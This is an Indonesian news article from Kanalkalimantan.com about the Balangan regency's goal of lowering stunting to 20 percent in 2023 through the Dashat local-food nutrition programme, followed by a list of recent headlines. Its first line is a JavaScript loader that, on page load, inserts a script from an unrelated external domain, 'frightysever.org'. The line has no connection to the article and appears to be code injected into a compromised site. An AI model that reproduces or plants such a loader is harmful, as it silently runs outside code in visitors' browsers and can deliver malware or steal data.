(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Pemkab Balangan Targetkan Angka Stunting Turun 20 Persen


KANALKALIMANTAN.COM, PARINGIN – Pemerintah Kabupaten (Pemkab) Balangan menargetkan pada tahun 2023 angka stunting turun menjadi 20 persen, dimana tahun 2022 lalu masih berada di angka 29,8 persen.

“Untuk mencapai target 20 persen ini tentunya berbagai upaya kita laksanakan, salah satunya dengan adanya penguatan program Dapur Sehat Atasi Stunting (Dashat) di Kampung KB,” kata Kasi Pengendalian Penduduk DPPKB Balangan Denny Mariaty Simbolon, Jumat (6/10/2023).

Denny menuturkan langkah tersebut dilakukan sebagai bentuk upaya untuk mengatasi stunting, program Dashat digencarkan oleh TP PKK kabupaten, kecamatan dan desa agar dapat maksimal menekan angka stunting di Balangan.

Selain itu, lanjut Denny, menekan angka stunting juga dapat melalui komunikasi, informasi dan edukasi dengan memberikan penyuluhan mulai dari tingkat remaja, calon pengantin, ibu hamil dan ibu menyusui.
“Melalui edukasi dan program Dashat di Kampung KB yaitu praktek pengolahan makanan sehat berbasis pangan lokal, dan pemenuhan gizi cukup khususnya pada sasaran keluarga berisiko stunting,” tutur Denny.

Menurut Denny saat ini seluruh desa kelurahan sudah diresmikan menjadi Kampung KB, tetapi karena terbatasnya anggaran maka program Dashat di Kabupaten Balangan masih sangat terbatas hanya bisa di beberapa Kampung KB.

Sementara itu, Pelaksana Harian Kepala Perwakilan BKKBN Kalsel Sopyan mengungkapkan bahwa program Dashat merupakan sebagai upaya percepatan penurunan stunting di Kabupaten Balangan.

“Program Dashat adalah upaya BKKBN dalam rangka percepatan penurunan stunting, karena program ini merupakan sarana edukasi masyarakat terkait pentingnya asupan gizi,” ungkap Sopyan.

Sopyan melanjutkan program Dashat merupakan salah satu implementasi dari Perpres Nomor 72 Tahun 2021 untuk mengatasi permasalahan stunting di Indonesia, salah satunya di Kabupaten Balangan.

Sopyan menambahkan hal ini sangat penting dilakukan, karena mengingat masih banyaknya masyarakat yang belum mengetahui apa itu asupan gizi yang baik pada proses pertumbuhan. (Kanalkalimantan.com/mcbalangan/adv)

Editor : kk


Muhammad Andi

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

4 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

6 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

9 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

10 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

10 jam ago

This website uses cookies.